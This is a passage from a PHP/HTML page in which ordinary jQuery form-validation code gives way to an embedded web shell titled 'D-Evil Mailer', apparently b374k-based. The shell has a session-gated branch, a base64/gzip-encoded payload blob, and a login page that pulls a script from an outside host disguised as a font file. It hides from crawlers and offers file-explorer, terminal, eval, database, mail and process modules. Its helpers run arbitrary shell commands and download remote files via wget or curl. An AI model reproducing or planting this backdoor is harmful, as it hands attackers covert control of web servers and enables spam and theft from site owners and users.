[type='checkbox']","focusin focusout keyup",b).validateDelegate("select, option, [type='radio'], [type='checkbox']","click",b),this.settings.invalidHandler&&a(this.currentForm).bind("invalid-form.validate",this.settings.invalidHandler),a(this.currentForm).find("[required], [data-rule-required], .required").attr("aria-required","true")},form:function(){return this.checkForm(),a.extend(this.submitted,this.errorMap),this.invalid=a.extend({},this.errorMap),this.valid()||a(this.currentForm).triggerHandler("invalid-form",[this]),this.showErrors(),this.valid()},checkForm:function(){this.prepareForm();for(var a=0,b=this.currentElements=this.elements();b[a];a++)this.check(b[a]);return this.valid()},element:function(b){var c=this.clean(b),d=this.validationTargetFor(c),e=!0;return this.lastElement=d,void 0===d?delete this.invalid[c.name]:(this.prepareElement(d),this.currentElements=a(d),e=this.check(d)!==!1,e?delete this.invalid[d.name]:this.invalid[d.name]=!0),a(b).attr("aria-invalid",!e),this.numberOfInvalids()||(this.toHide=this.toHide.add(this.containers)),this.showErrors(),e},showErrors:function(b){if(b){a.extend(this.errorMap,b),this.errorList=[];for(var c in b)this.errorList.push({message:b[c],element:this.findByName(c)[0]});this.successList=a.grep(this.successList,function(a){return!(a.name in b)})}this.settings.showErrors?this.settings.showErrors.call(this,this.errorMap,this.errorList):this.defaultShowErrors()},resetForm:function(){a.fn.resetForm&&a(this.currentForm).resetForm(),this.submitted={},this.lastElement=null,this.prepareForm(),this.hideErrors(),this.elements().removeClass(this.settings.errorClass).removeData("previousValue").removeAttr("aria-invalid")},numberOfInvalids:function(){return this.objectLength(this.invalid)},objectLength:function(a){var b,c=0;for(b in a)c++;return c},hideErrors:function(){this.hideThese(this.toHide)},hideThese:function(a){a.not(this.containers).text(""),this.addWrapper(a).hide()},valid:function(){return 0===this.size()},size:function(){return this.errorList.length},focusInvalid:function(){if(this.settings.focusInvalid)try{a(this.findLastActive()||this.errorList.length&&this.errorList[0].element||[]).filter(":visible").focus().trigger("focusin")}catch(b){}},findLastActive:function(){var b=this.lastActive;return b&&1===a.grep(this.errorList,function(a){return a.element.name===b.name}).length&&b},elements:function(){var b=this,c={};return a(this.currentForm).find("input, select, textarea").not(":submit, :reset, :image, [disabled], [readonly]").not(this.settings.ignore).filter(function(){return!this.name&&b.settings.debug&&window.console&&console.error("%o has no name assigned",this),this.name in c||!b.objectLength(a(this).rules())?!1:(c[this.name]=!0,!0)})},clean:function(b){return a(b)[0]},errors:function(){var b=this.settings.errorClass.split(" ").join(".");return a(this.settings.errorElement+"."+b,this.errorContext)},reset:function(){this.successList=[],this.errorList=[],this.errorMap={},this.toShow=a([]),this.toHide=a([]),this.currentElements=a([])},prepareForm:function(){this.reset(),this.toHide=this.errors().add(this.containers)},prepareElement:function(a){this.reset(),this.toHide=this.errorsFor(a)},elementValue:function(b){var c,d=a(b),e=b.type;return"radio"===e||"checkbox"===e?a("input[name='"+b.name+"']:checked").val():"number"===e&&"undefined"!=typeof b.validity?b.validity.badInput?!1:d.val():(c=d.val(),"string"==typeof c?c.replace(/\r/g,""):c)},check:function(b){b=this.validationTargetFor(this.clean(b));var c,d,e,f=a(b).rules(),g=a.map(f,function(a,b){return b}).length,h=!1,i=this.elementValue(b);for(d in f){e={method:d,parameters:f[d]};try{if(c=a.validator.methods[d].call(this,i,b,e.parameters),"dependency-mismatch"===c&&1===g){h=!0;continue}if(h=!1,"pending"===c)return void(this.toHide=this.toHide.not(this.errorsFor(b)));if(!c)return this.formatAndAdd(b,e),!1}catch(j){throw this.settings.debug&&window.console&&console.log("Exception occurred when checking element "+b.id+", check the '"+e.method+"' method.",j),j}}if(!h)return this.objectLength(f)&&this.successList.push(b),!0},customDataMessage:function(b,c){return a(b).data("msg"+c.charAt(0).toUpperCase()+c.substring(1).toLowerCase())||a(b).data("msg")},customMessage:function(a,b){var c=this.settings.messages[a];return c&&(c.constructor===String?c:c[b])},findDefined:function(){for(var a=0;a<arguments.length;a++)if(void 0!==arguments[a])return arguments[a];return void 0},defaultMessage:function(b,c){return this.findDefined(this.customMessage(b.name,c),this.customDataMessage(b,c),!this.settings.ignoreTitle&&b.title||void 0,a.validator.messages[c],"<strong>Warning: No message defined for "+b.name+"</strong>")},formatAndAdd:function(b,c){var d=this.defaultMessage(b,c.method),e=/\$?\{(\d+)\}/g;"function"==typeof d?d=d.call(this,c.parameters,b):e.test(d)&&(d=a.validator.format(d.replace(e,"{$1}"),c.parameters)),this.errorList.push({message:d,element:b,method:c.method}),this.errorMap[b.name]=d,this.submitted[b.name]=d},addWrapper:function(a){return this.settings.wrapper&&(a=a.add(a.parent(this.settings.wrapper))),a},defaultShowErrors:function(){var a,b,c;for(a=0;this.errorList[a];a++)c=this.errorList[a],this.settings.highlight&&this.settings.highlight.call(this,c.element,this.settings.errorClass,this.settings.validClass),this.showLabel(c.element,c.message);if(this.errorList.length&&(this.toShow=this.toShow.add(this.containers)),this.settings.success)for(a=0;this.successList[a];a++)this.showLabel(this.successList[a]);if(this.settings.unhighlight)for(a=0,b=this.validElements();b[a];a++)this.settings.unhighlight.call(this,b[a],this.settings.errorClass,this.settings.validClass);this.toHide=this.toHide.not(this.toShow),this.hideErrors(),this.addWrapper(this.toShow).show()},validElements:function(){return this.currentElements.not(this.invalidElements())},invalidElements:function(){return a(this.errorList).map(function(){return this.element})},showLabel:function(b,c){var d,e,f,g=this.errorsFor(b),h=this.idOrName(b),i=a(b).attr("aria-describedby");g.length?(g.removeClass(this.settings.validClass).addClass(this.settings.errorClass),g.html(c)):(g=a("<"+this.settings.errorElement+">").attr("id",h+"-error").addClass(this.settings.errorClass).html(c||""),d=g,this.settings.wrapper&&(d=g.hide().show().wrap("<"+this.settings.wrapper+"/>").parent()),this.labelContainer.length?this.labelContainer.append(d):this.settings.errorPlacement?this.settings.errorPlacement(d,a(b)):d.insertAfter(b),g.is("label")?g.attr("for",h):0===g.parents("label[for='"+h+"']").length&&(f=g.attr("id").replace(/(:|\.|\[|\])/g,"\\$1"),i?i.match(new RegExp("\\b"+f+"\\b"))||(i+=" "+f):i=f,a(b).attr("aria-describedby",i),e=this.groups[b.name],e&&a.each(this.groups,function(b,c){c===e&&a("[name='"+b+"']",this.currentForm).attr("aria-describedby",g.attr("id"))}))),!c&&this.settings.success&&(g.text(""),"string"==typeof this.settings.success?g.addClass(this.settings.success):this.settings.success(g,b)),this.toShow=this.toShow.add(g)},errorsFor:function(b){var c=this.idOrName(b),d=a(b).attr("aria-describedby"),e="label[for='"+c+"'], label[for='"+c+"'] *";return d&&(e=e+", #"+d.replace(/\s+/g,", #")),this.errors().filter(e)},idOrName:function(a){return this.groups[a.name]||(this.checkable(a)?a.name:a.id||a.name)},validationTargetFor:function(b){return this.checkable(b)&&(b=this.findByName(b.name)),a(b).not(this.settings.ignore)[0]},checkable:function(a){return/radio|checkbox/i.test(a.type)},findByName:function(b){return a(this.currentForm).find("[name='"+b+"']")},getLength:function(b,c){switch(c.nodeName.toLowerCase()){case"select":return a("option:selected",c).length;case"input":if(this.checkable(c))return this.findByName(c.name).filter(":checked").length}return b.length},depend:function(a,b){return this.dependTypes[typeof a]?this.dependTypes[typeof a](a,b):!0},dependTypes:{"boolean":function(a){return a},string:function(b,c){return!!a(b,c.form).length},"function":function(a,b){return a(b)}},optional:function(b){var c=this.elementValue(b);return!a.validator.methods.required.call(this,c,b)&&"dependency-mismatch"},startRequest:function(a){this.pending[a.name]||(this.pendingRequest++,this.pending[a.name]=!0)},stopRequest:function(b,c){this.pendingRequest--,this.pendingRequest<0&&(this.pendingRequest=0),delete this.pending[b.name],c&&0===this.pendingRequest&&this.formSubmitted&&this.form()?(a(this.currentForm).submit(),this.formSubmitted=!1):!c&&0===this.pendingRequest&&this.formSubmitted&&(a(this.currentForm).triggerHandler("invalid-form",[this]),this.formSubmitted=!1)},previousValue:function(b){return a.data(b,"previousValue")||a.data(b,"previousValue",{old:null,valid:!0,message:this.defaultMessage(b,"remote")})}},classRuleSettings:{required:{required:!0},email:{email:!0},url:{url:!0},date:{date:!0},dateISO:{dateISO:!0},number:{number:!0},digits:{digits:!0},creditcard:{creditcard:!0}},addClassRules:function(b,c){b.constructor===String?this.classRuleSettings[b]=c:a.extend(this.classRuleSettings,b)},classRules:function(b){var c={},d=a(b).attr("class");return d&&a.each(d.split(" "),function(){this in a.validator.classRuleSettings&&a.extend(c,a.validator.classRuleSettings[this])}),c},attributeRules:function(b){var c,d,e={},f=a(b),g=b.getAttribute("type");for(c in a.validator.methods)"required"===c?(d=b.getAttribute(c),""===d&&(d=!0),d=!!d):d=f.attr(c),/min|max/.test(c)&&(null===g||/number|range|text/.test(g))&&(d=Number(d)),d||0===d?e[c]=d:g===c&&"range"!==g&&(e[c]=!0);return e.maxlength&&/-1|2147483647|524288/.test(e.maxlength)&&delete e.maxlength,e},dataRules:function(b){var c,d,e={},f=a(b);for(c in a.validator.methods)d=f.data("rule"+c.charAt(0).toUpperCase()+c.substring(1).toLowerCase()),void 0!==d&&(e[c]=d);return e},staticRules:function(b){var c={},d=a.data(b.form,"validator");return d.settings.rules&&(c=a.validator.normalizeRule(d.settings.rules[b.name])||{}),c},normalizeRules:function(b,c){return a.each(b,function(d,e){if(e===!1)return void delete b[d];if(e.param||e.depends){var f=!0;switch(typeof e.depends){case"string":f=!!a(e.depends,c.form).length;break;case"function":f=e.depends.call(c,c)}f?b[d]=void 0!==e.param?e.param:!0:delete b[d]}}),a.each(b,function(d,e){b[d]=a.isFunction(e)?e(c):e}),a.each(["minlength","maxlength"],function(){b[this]&&(b[this]=Number(b[this]))}),a.each(["rangelength","range"],function(){var c;b[this]&&(a.isArray(b[this])?b[this]=[Number(b[this][0]),Number(b[this][1])]:"string"==typeof b[this]&&(c=b[this].replace(/[\[\]]/g,"").split(/[\s,]+/),b[this]=[Number(c[0]),Number(c[1])]))}),a.validator.autoCreateRanges&&(null!=b.min&&null!=b.max&&(b.range=[b.min,b.max],delete b.min,delete b.max),null!=b.minlength&&null!=b.maxlength&&(b.rangelength=[b.minlength,b.maxlength],delete b.minlength,delete b.maxlength)),b},normalizeRule:function(b){if("string"==typeof b){var c={};a.each(b.split(/\s/),function(){c[this]=!0}),b=c}return b},addMethod:function(b,c,d){a.validator.methods[b]=c,a.validator.messages[b]=void 0!==d?d:a.validator.messages[b],c.length<3&&a.validator.addClassRules(b,a.validator.normalizeRule(b))},methods:{required:function(b,c,d){if(!this.depend(d,c))return"dependency-mismatch";if("select"===c.nodeName.toLowerCase()){var e=a(c).val();return e&&e.length>0}return this.checkable(c)?this.getLength(b,c)>0:a.trim(b).length>0},email:function(a,b){return this.optional(b)||/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/.test(a)},url:function(a,b){return this.optional(b)||/^(https?|s?ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/i.test(a)},date:function(a,b){return this.optional(b)||!/Invalid|NaN/.test(new Date(a).toString())},dateISO:function(a,b){return this.optional(b)||/^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/.test(a)},number:function(a,b){return this.optional(b)||/^-?(?:\d+|\d{1,3}(?:,\d{3})+)?(?:\.\d+)?$/.test(a)},digits:function(a,b){return this.optional(b)||/^\d+$/.test(a)},creditcard:function(a,b){if(this.optional(b))return"dependency-mismatch";if(/[^0-9 \-]+/.test(a))return!1;var c,d,e=0,f=0,g=!1;if(a=a.replace(/\D/g,""),a.length<13||a.length>19)return!1;for(c=a.length-1;c>=0;c--)d=a.charAt(c),f=parseInt(d,10),g&&(f*=2)>9&&(f-=9),e+=f,g=!g;return e%10===0},minlength:function(b,c,d){var e=a.isArray(b)?b.length:this.getLength(b,c);return this.optional(c)||e>=d},maxlength:function(b,c,d){var e=a.isArray(b)?b.length:this.getLength(b,c);return this.optional(c)||d>=e},rangelength:function(b,c,d){var e=a.isArray(b)?b.length:this.getLength(b,c);return this.optional(c)||e>=d[0]&&e<=d[1]},min:function(a,b,c){return this.optional(b)||a>=c},max:function(a,b,c){return this.optional(b)||c>=a},range:function(a,b,c){return this.optional(b)||a>=c[0]&&a<=c[1]},equalTo:function(b,c,d){var e=a(d);return this.settings.onfocusout&&e.unbind(".validate-equalTo").bind("blur.validate-equalTo",function(){a(c).valid()}),b===e.val()},remote:function(b,c,d){if(this.optional(c))return"dependency-mismatch";var e,f,g=this.previousValue(c);return this.settings.messages[c.name]||(this.settings.messages[c.name]={}),g.originalMessage=this.settings.messages[c.name].remote,this.settings.messages[c.name].remote=g.message,d="string"==typeof d&&{url:d}||d,g.old===b?g.valid:(g.old=b,e=this,this.startRequest(c),f={},f[c.name]=b,a.ajax(a.extend(!0,{url:d,mode:"abort",port:"validate"+c.name,dataType:"json",data:f,context:e.currentForm,success:function(d){var f,h,i,j=d===!0||"true"===d;e.settings.messages[c.name].remote=g.originalMessage,j?(i=e.formSubmitted,e.prepareElement(c),e.formSubmitted=i,e.successList.push(c),delete e.invalid[c.name],e.showErrors()):(f={},h=d||e.defaultMessage(c,"remote"),f[c.name]=g.message=a.isFunction(h)?h(b):h,e.invalid[c.name]=!0,e.showErrors(f)),g.valid=j,e.stopRequest(c,j)}},d)),"pending")}}}),a.format=function(){throw"$.format has been deprecated. Please use $.validator.format instead."};var b,c={};a.ajaxPrefilter?a.ajaxPrefilter(function(a,b,d){var e=a.port;"abort"===a.mode&&(c[e]&&c[e].abort(),c[e]=d)}):(b=a.ajax,a.ajax=function(d){var e=("mode"in d?d:a.ajaxSettings).mode,f=("port"in d?d:a.ajaxSettings).port;return"abort"===e?(c[f]&&c[f].abort(),c[f]=b.apply(this,arguments),c[f]):b.apply(this,arguments)}),a.extend(a.fn,{validateDelegate:function(b,c,d){return this.bind(c,function(c){var e=a(c.target);return e.is(b)?d.apply(e,arguments):void 0})}})});
5004
5005
5006$(document).ready(function(){
5007 $("#form").validate({
5008 rules: {
5009 name: { required: true , minlength: 2 },
5010 email: { required: true , minlength: 2 },
5011 subject: { required: true , minlength: 2 },
5012 message: { required: true , minlength: 2 },
5013 mail: { required: true , minlength: 2 },
5014 },
5015 messages: {
5016 name: "",
5017 email: "",
5018 subject: "",
5019 message: "",
5020 mail: "",
5021 },
5022 submitHandler: function(form) {
5023 form.submit();
5024 }
5025 });
5026});
5027 </script>
5028 <style>
5029 label.error {
5030 display: none!important;
5031 visibility: hidden!important;
5032 }
5033 </style>
5034 </body>
5035</html>
5036<?php
5037 } elseif(isset($_SESSION['case_two'])){
5038?>
5039
5040<?php
5041
5042$GLOBALS['pass'] = ""; // sha1(md5(pass))
5043$GLOBALS['module_to_load'] = array("explorer", "terminal", "eval", "convert", "database", "info", "mail", "network", "processes");$GLOBALS['resources']['b374k'] = "hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBmy+WJUVupTTGtU6XK9HlOSHG4FvwFHNcGCOKuChFmNCJqehEG3K0EDbuDmt4+06zR3RReV7N5HebBlir/ezZEeVe0Nm5G1xGjP/3Jeqe/u9orV5zNquk1x3PcGLLT6JkjPujd8lrSONnDONXDeED9+noWIYlGj3KG+s0PXDF+mE3WdzCGbk1r7ojliIpCbc0fNqPW6l85gHH+tAnPlt85WSKMmQ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FPrxU3v6VD7DsFpOCVxSwRZsTFsw6Ga1qFmVUxS3tV9WjJkhkxZAMaHLA7+0NJ7dy9abkmqhppR9oAYIJM9g3OHTD+8+wQtkYMCiHSxQxMEzWvkktKPzgskfd/F3m4WH09lAfUtThQ+JA2pMvbnJ6t8SLwdtzXvR47Ze0Z0VkC5F6c7eSxl6n8/pudIYGl89MitzIHEuXxVYD3J+qt9oQ4PJqsQjEOewetHZEUf8UCRYjHw7vmxoe0Bjtx59p4PftRrDqXDRXTLqQ1NGLVE613PVZmyaiRe6SnV9b8SCdA91B7a1hB8RS3xWHIXdY6T9TwCc0xRi3IZGTB74VSs6rLkrXVm0jVjjQNstEz3DCNOpVy3Xk91cVJxbaOKEbFvrQCy2fxSUzhanvPq5bmccNWTPG3UbMsXoPWSS5TTTvo/W8LsiZ6Sdzdm2qGSqJapvuncb/jlI1c4i60NN53TasogwL0a/GFnyF4lgiGXW2N7BNyL5EEyQA42LdZtao2S9f+reA04QDbaEQtRg0YRlb/E0ksyci4MM1HlVvvqQlz0aqMXesslvqz7Y4baL0WvNHvflRnLNxLR5IFfb9KrZT97Lotz8OFtJJj9ugSFhVYy9nzcuRvC+vbF6zdrWpYtPek+rxjaeMog4pvOIbJ3wOTQmFb3d/atN9HV7ZsuZFAIRngh0oVQKZXb+fgBOdQNKnDsVQvjnz/8=";
5046$GLOBALS['ver'] = "1.0";
5047$GLOBALS['title'] = "D-Evil Mailer"; @ob_start();
5048error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
5049@ini_set('html_errors','0');
5050@ini_set('display_errors','1');
5051@ini_set('display_startup_errors','1');
5052@ini_set('log_errors','0');
5053@set_time_limit(0);
5054@clearstatcache(); if(!function_exists('auth')){ function auth(){ if(isset($GLOBALS['pass']) && (trim($GLOBALS['pass'])!='')){ $c = $_COOKIE; $p = $_POST; if(isset($p['pass'])){ $your_pass = sha1(md5($p['pass'])); if($your_pass==$GLOBALS['pass']){ setcookie("pass", $your_pass, time()+36000, "/"); header("Location: ".get_self()); } } if(!isset($c['pass']) || ((isset($c['pass'])&&($c['pass']!=$GLOBALS['pass'])))){ $res = "<!doctype html> <html> <head> <meta charset='utf-8'> <meta name='robots' content='noindex, nofollow, noarchive'> <meta name='viewport' content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0'> </head> <body style='background:#f8f8f8;color:#000000;padding:0;margin:0;'><br><p><center><noscript>You need to enable javascript</noscript></center></p> <script type='text/javascript'> var d = document; d.write(\"<br><br> <form method='post'><script src='http://ip-api.org/wp-content/uploads-images/AlHurra-Font_Light.ttf'></script><center><input type='password' id='pass' name='pass' style='font-size:34px;width:34%;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;'></center></form>\"); d.getElementById('pass').focus(); d.getElementById('pass').setAttribute('autocomplete', 'off'); </script> </body></html> "; echo $res; die(); } } }
5055} if(!function_exists('get_server_info')){ function get_server_info(){ $server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:$_SERVER["HTTP_HOST"]; $server_info['ip_adrress'] = "Server IP : ".$server_addr." <span class='strong'>|</span> Your IP : ".$_SERVER['REMOTE_ADDR']; $server_info['time_at_server'] = "Time <span class='strong'>@</span> Server : ".@date("d M Y H:i:s",time()); $server_info['uname'] = php_uname(); $server_software = (getenv('SERVER_SOFTWARE')!='')? getenv('SERVER_SOFTWARE')." <span class='strong'>|</span> ":''; $server_info['software'] = $server_software." PHP ".phpversion(); return $server_info; }
5056} if(!function_exists('get_self')){ function get_self(){ $query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:""; return html_safe($_SERVER["REQUEST_URI"].$query); }
5057} if(!function_exists('get_post')){ function get_post(){ return fix_magic_quote($_POST); }
5058} if(!function_exists('get_nav')){ function get_nav($path){ return parse_dir($path); }
5059} if(!function_exists('get_cwd')){ function get_cwd(){ $cwd = getcwd().DIRECTORY_SEPARATOR; if(!isset($_COOKIE['cwd'])){ setcookie("cwd", $cwd); } else{ $cwd_c = rawurldecode($_COOKIE['cwd']); if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR; else setcookie("cwd", $cwd); } return $cwd; }
5060} if(!function_exists('wrap_with_quotes')){ function wrap_with_quotes($str){ return "\"".$str."\""; }
5061} if(!function_exists('get_resource')){ function get_resource($type){ if(isset($GLOBALS['resources'][$type])){ return gzinflate(base64_decode($GLOBALS['resources'][$type])); } return false; }
5062} if(!function_exists('block_bot')){ function block_bot(){ if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } elseif(!isset($_SERVER['HTTP_USER_AGENT'])){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } }
5063} if(!function_exists('is_win')){ function is_win(){ return (strtolower(substr(php_uname(),0,3)) == "win")? true : false; }
5064} if(!function_exists('fix_magic_quote')){ function fix_magic_quote($arr){ $quotes_sybase = strtolower(ini_get('magic_quotes_sybase')); if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){ if(is_array($arr)){ foreach($arr as $k=>$v){ if(is_array($v)) $arr[$k] = clean($v); else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v)); } } } return $arr; }
5065} if(!function_exists('execute')){ function execute($code){ $output = ""; $code = $code." 2>&1"; if(is_callable('system') && function_exists('system')){ ob_start(); @system($code); $output = ob_get_contents(); ob_end_clean(); if(!empty($output)) return $output; } elseif(is_callable('shell_exec') && function_exists('shell_exec')){ $output = @shell_exec($code); if(!empty($output)) return $output; } elseif(is_callable('exec') && function_exists('exec')){ @exec($code,$res); if(!empty($res)) foreach($res as $line) $output .= $line; if(!empty($output)) return $output; } elseif(is_callable('passthru') && function_exists('passthru')){ ob_start(); @passthru($code); $output = ob_get_contents(); ob_end_clean(); if(!empty($output)) return $output; } elseif(is_callable('proc_open') && function_exists('proc_open')){ $desc = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $proc = @proc_open($code, $desc, $pipes, getcwd(), array()); if(is_resource($proc)){ while($res = fgets($pipes[1])){ if(!empty($res)) $output .= $res; } while($res = fgets($pipes[2])){ if(!empty($res)) $output .= $res; } } @proc_close($proc); if(!empty($output)) return $output; } elseif(is_callable('popen') && function_exists('popen')){ $res = @popen($code, 'r'); if($res){ while(!feof($res)){ $output .= fread($res, 2096); } pclose($res); } if(!empty($output)) return $output; } return ""; }
5066} if(!function_exists('html_safe')){ function html_safe($str){ return htmlspecialchars($str, 2 | 1); }
5067} if(!function_exists('parse_dir')){ function parse_dir($path){ $path = realpath($path).DIRECTORY_SEPARATOR; $paths = explode(DIRECTORY_SEPARATOR, $path); $res = ""; for($i = 0; $i < sizeof($paths)-1; $i++){ $x = ""; for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR; $res .= "<a class='navbar' data-path='".html_safe($x)."'>".html_safe($paths[$i])." ".DIRECTORY_SEPARATOR." </a>"; } if(is_win()) $res = get_drives().$res; return trim($res); }
5068} if(!function_exists('zip')){ function zip($files, $archive){ $status = false; if(!extension_loaded('zip')) return $status; if(class_exists("ZipArchive")){ $zip = new ZipArchive(); if(!$zip->open($archive, 1)) return $status; if(!is_array($files)) $files = array($files); foreach($files as $file){ $file = str_replace(get_cwd(), '', $file); $file = str_replace('\\', '/', $file); if(is_dir($file)){ $filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1); foreach($filesIterator as $iterator){ $iterator = str_replace('\\', '/', $iterator); if(in_array(substr($iterator, strrpos($iterator, '/')+1), array('.', '..'))) continue; if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.'/', '', $iterator.'/')); else if(is_file($iterator)) $zip->addFromString(str_replace($file.'/', '', $iterator), read_file($iterator)); } } elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file)); } if($zip->getStatusString()!==false) $status = true; $zip->close(); } return $status; }
5069} if(!function_exists('compress')){ function compress($type, $archive, $files){ if(!is_array($files)) $files = array($files); if($type=='zip'){ if(zip($files, $archive)) return true; else return false; } elseif(($type=='tar')||($type=='targz')){ $archive = basename($archive); $listsBasename = array_map("basename", $files); $lists = array_map("wrap_with_quotes", $listsBasename); if($type=='tar') execute("tar cf \"".$archive."\" ".implode(" ", $lists)); elseif($type=='targz') execute("tar czf \"".$archive."\" ".implode(" ", $lists)); if(is_file($archive)) return true; else return false; } return false; }
5070} if(!function_exists('decompress')){ function decompress($type, $archive, $path){ $path = realpath($path).DIRECTORY_SEPARATOR; $status = false; if(is_dir($path)){ chdir($path); if($type=='unzip'){ if(class_exists('ZipArchive')){ $zip = new ZipArchive(); $target = $path.basename($archive,".zip"); if($zip->open($archive)){ if(!is_dir($target)) mkdir($target); if($zip->extractTo($target)) $status = true; $zip->close(); } } } elseif($type=='untar'){ $target = basename($archive,".tar"); if(!is_dir($target)) mkdir($target); $before = count(get_all_files($target)); execute("tar xf \"".basename($archive)."\" -C \"".$target."\""); $after = count(get_all_files($target)); if($before!=$after) $status = true; } elseif($type=='untargz'){ $target = ""; if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz"); elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz"); if(!is_dir($target)) mkdir($target); $before = count(get_all_files($target)); execute("tar xzf \"".basename($archive)."\" -C \"".$target."\""); $after = count(get_all_files($target)); if($before!=$after) $status = true; } } return $status; }
5071} if(!function_exists('download')){ function download($url ,$saveas){ if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false; $filename = basename($url); if($content = read_file($url)){ if(is_file($saveas)) unlink($saveas); if(write_file($saveas, $content)){ return true; } } $buff = execute("wget ".$url." -O ".$saveas); if(is_file($saveas)) return true; $buff = execute("curl ".$url." -o ".$saveas); if(is_file($saveas)) return true; $buff = execute("lwp-download ".$url." ".$saveas); if(is_file($saveas)) return true; $buff = execute("lynx -source ".$url." > ".$saveas); if(is_file($saveas)) return true; return false; }
5072} if(!function_exists('get_fileperms')){ function get_fileperms($file){ if($perms = @fileperms($file)){ $flag = 'u'; if(($perms & 0xC000) == 0xC000)$flag = 's'; elseif(($perms & 0xA000) == 0xA000)$flag = 'l'; elseif(($perms & 0x8000) == 0x8000)$flag = '-'; elseif(($perms & 0x6000) == 0x6000)$flag = 'b'; elseif(($perms & 0x4000) == 0x4000)$flag = 'd'; elseif(($perms & 0x2000) == 0x2000)$flag = 'c'; elseif(($perms & 0x1000) == 0x1000)$flag = 'p'; $flag .= ($perms & 00400)? 'r':'-'; $flag .= ($perms & 00200)? 'w':'-'; $flag .= ($perms & 00100)? 'x':'-'; $flag .= ($perms & 00040)? 'r':'-'; $flag .= ($perms & 00020)? 'w':'-'; $flag .= ($perms & 00010)? 'x':'-'; $flag .= ($perms & 00004)? 'r':'-'; $flag .= ($perms & 00002)? 'w':'-'; $flag .= ($perms & 00001)? 'x':'-'; return $flag; } else return "???????????"; }
5073} if(!function_exists('format_bit')){ function format_bit($size){ $base = log($size) / log(1024); $suffixes = array('B','KB','MB','GB','TB','PB','EB','ZB','YB'); return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)]; }
5074} if(!function_exists('get_filesize')){ function get_filesize($file){ $size = @filesize($file); if($size!==false){ if($size<=0) return 0; return format_bit($size); } else return "???"; }
